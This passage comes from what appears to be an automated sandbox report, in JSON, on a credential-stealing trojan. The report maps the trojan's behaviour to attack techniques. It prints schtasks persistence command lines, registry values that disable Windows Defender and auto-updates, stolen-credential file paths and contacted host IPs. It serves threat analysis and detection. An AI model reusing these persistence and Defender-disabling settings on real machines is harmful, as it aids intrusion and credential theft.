\"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeAssignPrimaryTokenPrivilege\" (Indicator: \"SeAssignPrimaryTokenPrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"SeIncreaseQuotaPrivilege\" (Indicator: \"SeIncreaseQuotaPrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"A_fx0NQLKitBAeBAEfCf.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"5jxITIHj6OKJr9ZS6w6P.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$52","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" opened \"\\Device\\KsecDD\"\n \"schtasks.exe\" opened \"\\Device\\KsecDD\"\n \"MHH8pQrdaTkfN7lyJVXS.exe\" opened \"\\Device\\KsecDD\"\n \"N_QwR4NSLtBtcixCu5po.exe\" opened \"\\Device\\KsecDD\"\n \"cGutGk0YYa8pjPhoX_RK.exe\" opened \"\\Device\\KsecDD\"\n \"A_fx0NQLKitBAeBAEfCf.exe\" opened \"\\Device\\KsecDD\"\n \"xxRxKruXMsk3aXgsr67Q.exe\" opened \"\\Device\\KsecDD\"\n \"5jxITIHj6OKJr9ZS6w6P.exe\" opened \"\\Device\\KsecDD\"\n \"explorhe.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"InitiateSystemShutdownExW\" (Indicator: \"InitiateSystemShutdown\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$54","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"RageMP131.exe\" - Location: [%LOCALAPPDATA%\\RageMP131\\RageMP131.exe]- [targetUID: 00000000-00003788]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"A_fx0NQLKitBAeBAEfCf.exe\" was detected as \"ASPack v1.02b or v1.08.03\"\n \"MHH8pQrdaTkfN7lyJVXS.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"xxRxKruXMsk3aXgsr67Q.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"explorhe.exe\" was detected as \"ASPack v1.02b or v1.08.03\"\n \"clip.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"cGutGk0YYa8pjPhoX_RK.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$56","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"RAGEMP131\"; Value: \"%LOCALAPPDATA%\\RageMP131\\RageMP131.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" wrote 2048 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\ko[1].exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" wrote 2048 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\amers[1].exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 34.117.186.192 on port 443 is sent without HTTP header\n TCP traffic to 104.26.5.15 on port 443 is sent without HTTP header\n TCP traffic to 104.18.146.235 on port 80 is sent without HTTP header\n TCP traffic to 109.107.182.3 on port 80 is sent without HTTP header\n TCP traffic to 185.215.113.68 on port 80 is sent without HTTP header\n TCP traffic to 172.217.164.110 on port 443 is sent without HTTP header\n TCP traffic to 142.250.191.67 on port 80 is sent without HTTP header\n TCP traffic to 157.240.22.35 on port 443 is sent without HTTP header\n TCP traffic to 142.251.2.84 on port 443 is sent without HTTP header\n TCP traffic to 142.250.189.195 on port 443 is sent without HTTP header\n TCP traffic to 142.250.191.35 on port 443 is sent without HTTP header\n TCP traffic to 142.251.214.142 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks on FTP client related files","description":"\"A_fx0NQLKitBAeBAEfCf.exe\" opened file \"%LOCALAPPDATA%\\MAPLESTUDIO\\CHROMEPLUS\\USER DATA\"","origin":"API Call","mitre_attack_id":"T1005","relevance":8,"id":"api-45","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"PING\" (Indicator: \"ping\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found string \"Ping\" (Indicator: \"ping\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")\n \"A_fx0NQLKitBAeBAEfCf.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access mail clients information (file access)","description":"\"A_fx0NQLKitBAeBAEfCf.exe\" trying to open a file \"%APPDATA%\\THUNDERBIRD\\PROFILES.INI\"\n \"A_fx0NQLKitBAeBAEfCf.exe\" trying to open a file \"%APPDATA%\\THUNDERBIRD\\FORMHISTORY.SQLITE\"","origin":"API Call","mitre_attack_id":"T1114","relevance":5,"id":"api-131","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to collect sensitive information via text files","description":"\"A_fx0NQLKitBAeBAEfCf.exe\" trying to write data to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA3Q6P9BsOQ2wXMT\\passwords.txt\"\n \"A_fx0NQLKitBAeBAEfCf.exe\" trying to write data to a file \"%TEMP%\\jobA3GHiLxQulTalN9\\passwords.txt\"\n \"A_fx0NQLKitBAeBAEfCf.exe\" trying to write data to a file \"%TEMP%\\jobA3Q6P9BsOQ2wXMT\\passwords.txt\"","origin":"API Call","mitre_attack_id":"T1005","relevance":5,"id":"api-133","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c7mscE3GSmQdvkH9JAisf7ttxDsHKwpK.zip\" for deletion\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4GHiLxQulTalN9\\8ghN89CsjOW1places.sqlite\" for deletion\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4GHiLxQulTalN9\\D87fZN3R3jFecookies.sqlite\" for deletion\n \"A_fx0NQLKitBAeBAEfCf.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4Q6P9BsOQ2wXMT\\Ei8DrAmaYu9Ksignons.sqlite\" for deletion\n \"A_fx0NQLKitBAeBAEfCf.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4Q6P9BsOQ2wXMT\\8ghN89CsjOW1places.sqlite\" for deletion\n \"A_fx0NQLKitBAeBAEfCf.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4Q6P9BsOQ2wXMT\\D87fZN3R3jFecookies.sqlite\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$57","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"lada_1_.exe\" claimed CRC 2353296 while the actual is CRC 2343749\n \"RageMP131.exe\" claimed CRC 2343749 while the actual is CRC 2353296\n \"MHH8pQrdaTkfN7lyJVXS.exe\" claimed CRC 971156 while the actual is CRC 1258189\n \"xxRxKruXMsk3aXgsr67Q.exe\" claimed CRC 943171 while the actual is CRC 971156","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$58","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"$59","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" allocated memory in \"C:\\SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5a","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Tries to disable Windows defender Anti Spyware","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\"; Key: \"DISABLEANTISPYWARE\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":7,"id":"registry-76","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Tries to disable Windows defender via registry","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEBEHAVIORMONITORING\"; Value: \"01000000\")\n \"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEIOAVPROTECTION\"; Value: \"01000000\")\n \"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEONACCESSPROTECTION\"; Value: \"01000000\")\n \"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLEREALTIMEMONITORING\"; Value: \"01000000\")\n \"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\\REAL-TIME PROTECTION\"; Key: \"DISABLESCANONREALTIMEENABLE\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":7,"id":"registry-77","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate the credentials from the user's credential set","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"CredEnumerateA\" with parameters {\"Flags\": \"1\"\n \"Count\": \"00000000\"\n \"Credential\": \"00000000000000006c6f67696e73000098e61800c8ee1800e55f120101000000d4ee1800c20308010000af00c203080100000000\"}\n \"A_fx0NQLKitBAeBAEfCf.exe\" called \"CredEnumerateA\" with parameters {\"Flags\": \"1\"\n \"Count\": \"00000000\"\n \"Credential\": \"00000000000000006c6f67696e73000068f21d0098fa1d00e55f250101000000a4fa1d00c2031b0140f32177c2031b0100000000\"}","origin":"API Call","mitre_attack_id":"T1555.004","relevance":10,"id":"api-112","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$5b","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\GOOGLE\\CHROME\\USER DATA\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"System Security","name":"Modifies Windows Auto-Updates feature","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\WINDOWSUPDATE\\AU\"; Key: \"NOAUTOUPDATE\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":9,"id":"registry-24","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"System Security","name":"Modifies windows defender settings","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS DEFENDER\\FEATURES\"; Key: \"TAMPERPROTECTION\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":8,"id":"registry-101","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" (UID: 00000000-00003992)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /f /RU \"%OSUSER%\" /tr \"%ALLUSERSPROFILE%\\\\MPGPH131\\\\MPGPH131.exe\" /tn \"MPGPH131 HR\" /sc HOURLY /rl HIGHEST\" (UID: 00000000-00003200)\n Spawned process \"schtasks.exe\" with commandline \"schtasks /create /f /RU \"%OSUSER%\" /tr \"%ALLUSERSPROFILE%\\\\MPGPH131\\\\MPGPH131.exe\" /tn \"MPGPH131 LG\" /sc ONLOGON /rl HIGHEST\" (UID: 00000000-00002416)\n Spawned process \"MPGPH131.exe\" (UID: 00000000-00002760)\n Spawned process \"MHH8pQrdaTkfN7lyJVXS.exe\" (UID: 00000000-00001416)\n Spawned process \"N_QwR4NSLtBtcixCu5po.exe\" (UID: 00000000-00002516)\n Spawned process \"cGutGk0YYa8pjPhoX_RK.exe\" (UID: 00000000-00003792)\n Spawned process \"A_fx0NQLKitBAeBAEfCf.exe\" (UID: 00000000-00003788)\n Spawned process \"xxRxKruXMsk3aXgsr67Q.exe\" (UID: 00000000-00002348)\n Spawned process \"5jxITIHj6OKJr9ZS6w6P.exe\" (UID: 00000000-00002564)\n Spawned process \"explorhe.exe\" (UID: 00000000-00001884)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"},{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries process information"},{"detail":"Reads the system/video BIOS version"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"},{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"The input sample contains a known anti-VM trick"},{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff12729fd815fa031fe1"},{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Exploit","details_count":2,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"},{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected many DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 14 domains and 14 hosts"}],"sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}]},"activity":{"stats":{"process_count":16,"spawned_processes_count":16,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":40,"imported_dlls_count":161,"dropped_files_count":0,"extracted_files_count":29,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":14,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":14,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":13,"dns_resolutions_count":14,"contacted_urls_count":19,"http_requests_count":19},"behavior_tags":["evasive","amadeyloader","backdoor","commodity","credentialharvesting","criminal","downloader","informationstealer","loader","redlinestealer","risepro","smokeloader"],"sample_flags":["Multi-Process","Sample Crashed","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"65b6ff1b7e75f63ab1049330","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["PRT","RUS","USA"],"submit_name":"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378","analysis_start_time":"2024-01-29T01:27:55+00:00","indicators_count":{"informative":257,"suspicious":82,"malicious":24},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"65b6ff12729fd815fa031fe1","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378","analysis_start_time":"2024-01-29T01:27:47+00:00","indicators_count":{"informative":51,"suspicious":12,"malicious":3},"tags":["Multi-Process","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"193.233.132.62","port":50500,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"34.117.186.192","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"104.26.5.15","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"104.18.146.235","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"109.107.182.3","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"185.215.113.68","port":80,"protocol":"TCP","country":"Portugal","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"172.217.164.110","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"142.250.191.67","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"157.240.22.35","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"142.251.2.84","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"142.250.189.195","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"142.250.191.35","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"address":"142.251.214.142","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]}],"dns_resolutions":[{"domain":"accounts.google.com","address":"142.251.2.84","ttl":300,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google 